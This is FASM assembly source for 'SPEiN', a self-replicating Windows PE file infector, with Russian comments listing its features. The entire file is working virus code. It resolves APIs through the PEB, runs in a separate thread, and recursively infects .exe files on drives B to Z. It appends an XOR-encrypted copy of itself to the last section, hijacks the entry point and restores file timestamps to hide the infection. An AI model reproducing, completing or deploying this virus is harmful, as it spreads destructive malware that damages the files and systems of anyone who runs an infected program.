; Simple PE infector (aka SPEiN) ; [v0.4 final] ; ; Created by Ct757 / TPOC ; [http://ct757.net.ru] ; ; use FASM to compile this shit ; ; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ; Последняя версия моего pe-инфектора. Основные фичи: ; [*] Поиск API через PEB ; [*] Создание потока и работа параллельно с носителем ; [*] Рекурсивный поиск и заражение PE файлов на дисках от "B" до "Z" ; (кроме директорий начинающихся с "syst") ; [*] Сохранение даты последней модификации файлов ; [*] Простое шифрование с помощью операции xor ; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ format PE GUI 4.0 entry vir_start include '%fasminc%\win32a.inc' section '.main' code readable writeable VIR_SIZE = vir_end - vir_start METKA = '_757' vir_start: call delta delta: pop ebp mov eax,ebp sub eax,delta je .next0 call crypt_all .next0: jmp start_crypt1 start_crypt1: mov eax,[fs:30h] mov eax,[eax+0Ch] mov eax,[eax+1Ch] mov eax,[eax] mov eax,[eax+8h] mov edx,eax mov [ebp+k_base-delta],edx mov ebx,[eax+3Ch] add ebx,edx add eax,[ebx+78h] push eax mov esi,edx add esi,[eax+20h] mov ebx,edx add ebx,[eax+24h] mov eax,[eax+18h] cld search: push esi mov esi,[esi] add esi,edx lea edi,[ebp+_GetProcAddress-delta] mov ecx,7 repz cmpsw pop esi jecxz hurra add esi,4 inc eax inc ebx inc ebx jne search jmp exit hurra: movzx eax,word [ebx] rol eax,2 pop ebx mov esi,[ebx+1Ch] add esi,edx add esi,eax mov esi,[esi] add esi,edx mov [ebp+pGetProcAddress-delta],esi mov dword [ebp+.next1-delta-4],ebp xor eax,eax call .next0 dd ? .next0: push eax call .next1 dd ? .next1: lea ebx,[ebp+main_thread-delta] push ebx push eax push eax lea eax,[ebp+_CreateThread-delta] call get_API call eax exit: sub ebp,delta je vir_end _push db 068h old_entry dd ? _ret db 0C3h main_thread: mov ebp,[esp+4] mov ebp,[ebp] sub esp,200h mov edi,esp lea eax,[ebp+_GetLogicalDrives-delta] call get_API call eax mov ecx,25 .check_disk: xor ebx,ebx inc ebx shl ebx,cl and ebx,eax je .next_disk push eax mov al,cl add al,65 stosb mov eax,':\*.' stosd mov ax,'*' stosw pop eax mov edi,esp call search_proc .next_disk: dec ecx jg .check_disk add esp,200h ret 4 search_proc: pusha sub esp,140h mov esi,esp push esi push edi lea eax,[ebp+_FindFirstFileA-delta] call get_API call eax inc eax je end_all dec eax mov ebx,eax search_loop: mov eax,[esi] and eax,10h jne dir_found push esi add esi,2Ch call str_end lea esi,[eax-5] lodsd pop esi cmp eax,'.exe' je .infect cmp eax,'.EXE' je .infect jmp search_next .infect: push edi call str_cat xor al,al stosb pop edi mov esi,esp pushd [ebp+old_entry-delta] mov eax,edi mov ecx,[esi+20h] mov [ebp+fsz-delta],ecx add ecx,VIR_SIZE call infect popd [ebp+old_entry-delta] mov dword [edx],'*.*' jmp search_next dir_found: cmp byte [esi+2Ch],'.' je search_next cmp dword [esi+2Ch],'syst' je search_next cmp dword [esi+2Ch],'SYST' je search_next push edi call str_cat mov eax,'\*.*' stosd xor al,al stosb pop edi mov esi,esp call search_proc mov dword [edx],'*.*' search_next: push esi push ebx lea eax,[ebp+_FindNextFileA-delta] call get_API call eax test eax,eax jne search_loop end_search: push ebx lea eax,[ebp+_FindClose-delta] call get_API call eax end_all: add esp,140h popa ret str_cat: mov edx,esi mov esi,edi call str_end lea edi,[eax-4] lea esi,[edx+2Ch] mov edx,edi call str_end sub eax,esi xchg eax,ecx dec ecx rep movsb ret str_end: push esi .next0: lodsb test al,al jne .next0 xchg eax,esi pop esi ret end_crypt1: infect: pusha mov esi,1FFh add ecx,esi not esi and ecx,esi push ecx xor edx,edx push edx push edx push 3 push edx push edx push 0C0000000h push eax lea eax,[ebp+_CreateFileA-delta] call get_API call eax pop ecx inc eax je infect_end dec eax mov ebx,eax xor edx,edx push edx push ecx push edx push 4 push edx push ebx lea eax,[ebp+_CreateFileMappingA-delta] call get_API call eax test eax,eax je close_file mov [ebp+map_h-delta],eax xor edx,edx push edx push edx push edx push 2 push eax lea eax,[ebp+_MapViewOfFile-delta] call get_API call eax test eax,eax je close_map mov [ebp+map_addr-delta],eax push 'MZ' pop edx cmp word [eax],dx jne no_infect mov edx,eax add eax,[eax+3Ch] add edx,[ebp+fsz-delta] cmp eax,edx jnb no_infect push 'PE' pop edx cmp word [eax],dx jne no_infect push METKA pop edx cmp [eax+4Ch],edx je no_infect movzx ecx,word [eax+6h] dec ecx mov edx,[eax+28h] add edx,[eax+34h] mov [ebp+old_entry-delta],edx movzx edx,word [eax+14h] add edx,eax add edx,18h mov edi,[edx+14h] jecxz .next1 .loop: add edx,28h cmp edi,[edx+14h] jg .next0 mov edi,[edx+14h] .next0: loop .loop .next1: mov ecx,[edx+10h] jecxz no_infect add edi,ecx add edi,[ebp+map_addr-delta] push edi call crypt_all lea esi,[ebp+vir_start-delta] mov ecx,VIR_SIZE/4 rep movsd mov ecx,(VIR_SIZE)-(VIR_SIZE/4)*4 rep movsb call crypt_all mov dword [eax+4Ch],METKA pop edi add edi,[edx+0Ch] sub edi,[edx+14h] sub edi,[ebp+map_addr-delta] mov [eax+28h],edi add dword [edx+10h],VIR_SIZE add dword [edx+8h],VIR_SIZE or dword [edx+24h],80000000h or 40000000h mov ecx,[edx+8h] mov esi,[eax+3Ch] dec esi add ecx,esi not esi and ecx,esi mov [edx+8h],ecx add ecx,[edx+0Ch] mov [eax+50h],ecx push 1 jmp unmap_file no_infect: push 0 unmap_file: pushd [ebp+map_addr-delta] lea eax,[ebp+_UnmapViewOfFile-delta] call get_API call eax close_map: pushd [ebp+map_h-delta] lea eax,[ebp+_CloseHandle-delta] call get_API call eax pop eax test eax,eax jne close_file xor edx,edx push edx push edx pushd [ebp+fsz-delta] push ebx lea eax,[ebp+_SetFilePointer-delta] call get_API call eax push ebx lea eax,[ebp+_SetEndOfFile-delta] call get_API call eax close_file: mov eax,[esp+4] add eax,14h push eax sub eax,8 push eax sub eax,8 push eax push ebx lea eax,[ebp+_SetFileTime-delta] call get_API call eax push ebx lea eax,[ebp+_CloseHandle-delta] call get_API call eax infect_end: popa ret map_h dd ? map_addr dd ? fsz dd ? start_crypt2: k_base dd ? _GetProcAddress db 'GetProcAddress',0 pGetProcAddress dd ? get_API: push eax lea eax,[ebp+k_base-delta] pushd [eax] call [ebp+pGetProcAddress-delta] ret sign db 13,10,'SPEiN',13,10 _CloseHandle db 'CloseHandle',0 _CreateFileA db 'CreateFileA',0 _CreateFileMappingA db 'CreateFileMappingA',0 _MapViewOfFile db 'MapViewOfFile',0 _UnmapViewOfFile db 'UnmapViewOfFile',0 _GetLogicalDrives db 'GetLogicalDrives',0 _FindFirstFileA db 'FindFirstFileA',0 _FindNextFileA db 'FindNextFileA',0 _FindClose db 'FindClose',0 _SetFilePointer db 'SetFilePointer',0 _SetEndOfFile db 'SetEndOfFile',0 _SetFileTime db 'SetFileTime',0 _CreateThread db 'CreateThread',0 end_crypt2: crypt_all: pusha lea esi,[ebp+start_crypt1-delta] mov edi,esi mov ecx,(end_crypt1-start_crypt1) .crypt0: lodsb xor al,75 stosb dec ecx jne .crypt0 lea esi,[ebp+start_crypt2-delta] mov edi,esi mov ecx,(end_crypt2-start_crypt2) .crypt1: lodsb xor al,75 stosb dec ecx jne .crypt1 popa ret vir_end: push 0 call [ExitThread] data import library kernel32,'KERNEL32.DLL',\ user32,'USER32.DLL' include '%fasminc%\APIA\kernel32.inc' include '%fasminc%\APIA\user32.inc' end data